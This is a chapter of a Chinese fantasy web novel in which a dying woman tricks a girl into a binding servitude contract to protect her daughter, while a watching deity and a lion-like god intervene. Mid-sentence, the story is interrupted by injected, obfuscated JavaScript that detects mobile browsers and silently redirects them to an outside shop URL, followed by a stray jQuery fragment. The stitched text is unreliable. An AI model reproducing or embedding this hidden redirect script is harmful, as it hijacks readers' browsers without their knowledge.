画面再度变化，女人躺在床上，发出低沉的咳嗽。


    她苍白的面容死气沉沉，衰颓的模样如凋零的花。


    无论怎么看，都是个生病的可怜人。


    但乌瑟紧紧蹙眉，无比嫌恶地看着这个可怜人。


    如果说最初这个人类的灵魂还有点灵气，那此刻的她整个灵魂都已经染上了贪欲。


    她背离了自己的信仰，连灵魂都变得恶臭难闻。


    作呕的气息让神子变得烦躁，他捏紧了手中的权杖，只想把眼前的人类烧得干干净净。


    背信之徒的灵魂都该千刀万剐，丢进冥火承受永世的痛苦。


    “吱呀——”


    黑发少女推门而入。


    神明的目光落到她身上。


    肮脏的世界里，只有她是鲜活明媚。


    下午的暖光落在她的脸上，银色的瞳孔哀伤地看着床上的女人。


    她走了过来，穿过他的身边。


    她没有看他，但他只望向她。


    不合身的白裙松松垮垮地裹在她身上，却衬得嶙峋的背越发挺直。


    她的五官圆幼，第一眼看过去总像孩子般天真。


    但仔细端详，又发现那天真之中带着野性。


    就像野狗无论怎么乖巧，激起凶性后也能咬下一块肉。


    可凶残的幼兽渴求爱，于是她尝试着卸去野性，当个乖巧的宠物狗。


    “秦阿姨，你的感冒好了吗？”


    “我没事，”秦思恬咳了一声，“今天有当个乖孩子吗？”


    林靥星点头：“当然啦，我有保护好喵喵哦。”


    女人看着眼前的少女，拉住她的手：“我们阿星，越来越乖啦。”


    乌瑟听得刺耳，看见少女手臂处的青黑时，更气了。


    眼神一寸寸扫视着少女，果不其然，除了手臂外，她的手肘和小腿也有擦伤。


    乌瑟气得想杀人。


    什么东西，值得她这样去拼命？


    “秦阿姨，那些欺负喵喵的人，我可以杀掉吗？”


    乌瑟冷冷说道：“如果你不会杀，我教你怎么杀。”


    可这次不知为何，少女没有听到他的声音。


    气得神子浮在半空，狠狠瞪向被她注视的女人。


    她的眼光可真是差到离谱！


    “不可以哦，”秦思恬温温柔柔地说道，“杀人是不对的，阿星要当个好孩子啊。”


    林靥星握紧裙摆，不太明白，“可他们也杀人，还杀的是好人，这样的人也不能杀吗？”


    乌瑟想，总算没傻到头了。


    “阿星！”


    女人提高音量，面色变得严肃，“你想变成怪物吗？”


    她按住林靥星的肩膀，一字一顿地说道：“如果你变成了怪物，那这个世界上，永远不会有人爱你的。”


    看着少女的眼中出现恐慌，她的语气变得温柔，“阿姨喜欢善良的好孩子，听我的话，乖一点好吗？”


    林靥星沉默，缓慢地点点头。


    女人心满意足地笑了。


    乌瑟第一次把眼神落在她的脸上，仔细记住这张虚伪恶心的脸。


    神子冷静地想道。


    死了也没关系。


    他会找出这个下贱的人类，好好折磨她的灵魂。


    不是喜欢善良吗？


    扔去恶灵最多的地方，让她好好感化一下那些无恶不作的下三滥。


    恶意满载的神子飘在半空，看起来比恶灵还像恶灵。


    记忆又开始流动，此时的女人躺在病床上，形同枯槁。


    世界一片模糊，林靥星呆立在床边，听到周围人在哭。


    她救不了秦阿姨。


    无论她寻觅多少解咒的东西，都救不回她的命。


    “阿星……”


    “秦阿姨。”


    林靥星走到病床边，低头认错：“对不起。”


    都是她的错，是她非要去河边，才会惹上水鬼。


    女人露出苍白的笑容，“阿星，没关系，这是我的命。”


    林靥星不喜欢这种话，“我再试试。”


    门外传来一声尖叫，“够了，你不要再折磨我妈了！林靥星，都是你的错！你这个灾星！”


    林靥星的眼神变得黯淡，却没有生气。


    “是我的错。”


    她沉浸在痛苦里，没发现女人在观察她。


    像在观察一只驯服的野兽。


    发现野兽乖乖认错后，她露出满意的表情。


    “阿星，我别无所求，只想拜托你一件事。”


    林靥星：“是保护喵喵吗？”


    女人祈求地握住她的手：“喵喵需要很多的爱，也需要很多的钱。”


    “她太天真了，需要你的保护，才能好好活着。”


    乌瑟冷笑，天真活不下来，那就去死啊。


    林靥星看着她，眼神变得恍惚。


    她不会法术，无法祛除鬼的诅咒，只能眼睁睁看着秦阿姨衰亡。


    喵喵才十三岁，就因为她失去了最爱的母亲。


    这种沉重压得她喘不过气来。


    她必须做什么，她不能毁了他人的人生。


    “好。”


    林靥星：“我会赚钱养她的。”


    “这还不够啊。”


    女人的眼神变得偏执，“你要偏心她，把她当成自己唯一的孩子去保护她。”


    林靥星听到这话，震惊到瞪圆眼睛。


    “秦阿姨，这我做不到。”


    她怎么可能把跟自己同龄的喵喵当女儿？


    喵喵有自己的母亲啊！


    秦思恬的脸凑得极近，原本温婉的脸此刻扭曲得像恶鬼，握她的手格外紧。


    “为什么做不到呢？你可是……”


    她轻声说了句什么，但林靥星听不见。


    林靥星只觉得荒谬。


    她当然会保护秦妙，这是为了报答秦阿姨的救命之恩。


    但报恩报到给自己找个好大女……


    林靥星直白地说道：“我不行。”


    秦思恬的脸色变得暗沉，换了个说法。


    “那你把喵喵当成你的爱人，她那么可爱，你把她当成全世界最爱的人去爱！”


    林靥星更迷惑了。


    她不明白懂事的秦阿姨怎么突然变得莫名其妙。


    “这也不行啊，我不喜欢喵喵这种类型。”


    小狗没注意到女人青白的脸，老老实实地说道：“她太弱了，不符合我的择偶观。”


    飘在半空的神子憋不住笑，“噗哈哈哈！”


    小狗总能在很傻很天真和气死人不偿命之间无缝切换。


    看着那女人气得要死还要假装温婉的脸，他笑得在空中翻滚了一圈。


    没有发现秦阿姨越来越黑的脸，林靥星还在认真思考她的用意。


    秦阿姨这么爱喵喵，肯定是为了她好。


    小狗一思考，得出了结论。


    “秦阿姨，你难道是怕喵喵的性格以后找不到男朋友吗？”


    林靥星点了点头，“也是啦，喵喵的性格跟我一样不讨喜。”


    “没关系的，我会努力赚钱，虽然她性格很烂，但肯定有小白脸会为了钱讨好她的！”


    乌瑟：“哈哈哈哈哈！”


    秦思恬：“噗……咳咳咳！”


    林靥星手忙脚乱，“秦阿姨，你怎么吐血了？你没事吧！”


    秦思恬努力保持微笑，第一次恨自己把眼前的少女养得如此天真。


    她闭了闭眼，明白对方虽然渴求母爱，但也没到百依百顺的地步。


    到底是养不熟啊。


    可惜了。


    看来她还是只能把这份机缘分出去。


    秦思恬平静了气息，从枕边取出一个盒子，温柔地说道：“阿星，你不是问过我，有没有从那鬼里发现什么吗？”


    林靥星点点头，“嗯。”


    她当时去河边，就是因为察觉到一股很熟悉的气息，让她下意识靠近。


    她一直以为是水鬼的蛊惑。


    “您不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563609|180293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是说没有发现吗？”


    秦思恬看着她，眼中闪过愧疚，但还是说道：“我没有发现，但喵喵的父亲发现了一个石盒，你看看是不是你想要的东西。”


    林靥星歪了歪头，就是那个抛弃秦阿姨和喵喵的渣男啊。


    她没见过对方的模样，只知道是个有钱的人渣。


    但秦阿姨特地为她找的东西，她还是接了过来。


    触摸石盒的瞬间，她就感受到了熟悉。


    上面雕刻的文字和图案，她好像见过了无数次。


    山川鸟兽，日月天明。


    林靥星看着那石盒，不知为何，总觉得在哪看过这个盒子。


    但她的确感受到了自己的气息。


    林靥星的神情变得恍惚，像被蛊惑了一样。


    她失去平时的谨慎，打开了盒子。


    一只小小的石犬蜷缩在盒子里，脖子上拴着一根红线。


    不。


    林靥星突然意识到，这不是盒子。


    这是，棺材。


    当她注视红线的瞬间，那根红线如同蛇般暴起，穿过了她的眼睛。


    林靥星捂住双眼，发出痛苦的呻吟。


    盒中的红线逐渐变长变粗，变成了一根脐带，像吸血虫一样吮吸她的力量。


    病床上的女人露出诡谲的笑容。


    “终于……终于抓到您了……”


    她咳出一口血，眼中是偏执的感情。


    “对不起……但，为了喵喵，我必须这么……做……”


    秦思恬的血肉迅速衰败，整个人像受到了反噬一样，从年轻貌美的女人变成枯老衰败的老人。


    她看着倒在地上的少女，反复念叨：“林靥星，你必须庇护我的孩子。”


    “你要偏爱她，你要把你的一切献给她。”


    “无论发生什么，无论她怎么对你，你都要把她当成主人去爱。”


    秦思恬咳出血，却发现契约还未成型。


    她咬咬牙，知道是双方灵魂的差距，使得即便献祭了她的灵魂和血肉，还动用了邪器，也无法让单方面的守护契约完整。


    秦思恬妥协地闭上眼，加上了限定词。


    “如果她不需要你了，你可以去找新的主人。”


    但想想自家女儿任性的性格，她谨慎地加了一句，“但当你认新主之际，你就会展露自己的原型。”


    秦思恬不相信。


    这世间会存在目睹她的原型还坦然接受的人。


    所以无论喵喵需不需要她，她都只能回到喵喵的身边，乖乖给喵喵当狗。


    少女蜷缩在地上，听到这诅咒般的契约，血泪流下。


    银色的双瞳变得黯淡。


    又被骗了呢。


    她想道。


    【娘。】


    秦思恬看着半空的契约，喃喃道：“快了……马上就能……”


    “找到了。”


    巨大的狮爪划开空间，抓住了正在成型的契约。


    女人来不及愤怒，就看见分裂的世界之后，一只血色的瞳孔正在注视她。


    人无法直面神明。


    当人类【看】到超出自己意识容量的存在后，会陷入无边的恐慌。


    惶恐、畏惧和自我认知的紊乱，让原本自得的秦思恬陷入了疯狂。


    怪怪物怪物怪物——！


    她朝倒在地上的少女伸出手，想像之前每次那样求眼前的孩子救救她。


    可这一次，她的呼救声无法喊出来。


    神说：【安静。】


    秦思恬的灵魂皴裂成泡沫。


    像错误的字迹，一点一点被抹掉。


    当她消失之际，林靥星被巨大的狮爪轻轻捧起来。


    【好小一只。】


    神明像猫咪一样，好奇地观察掌心的新娘。


    比拇指还小的少女蜷缩在祂的肉垫上，可怜又可爱。


    无法克制的本性让祂吞了吞口水。


    好想吞下去。


    祂想，吞进肚子里，就没有人能伤害她了。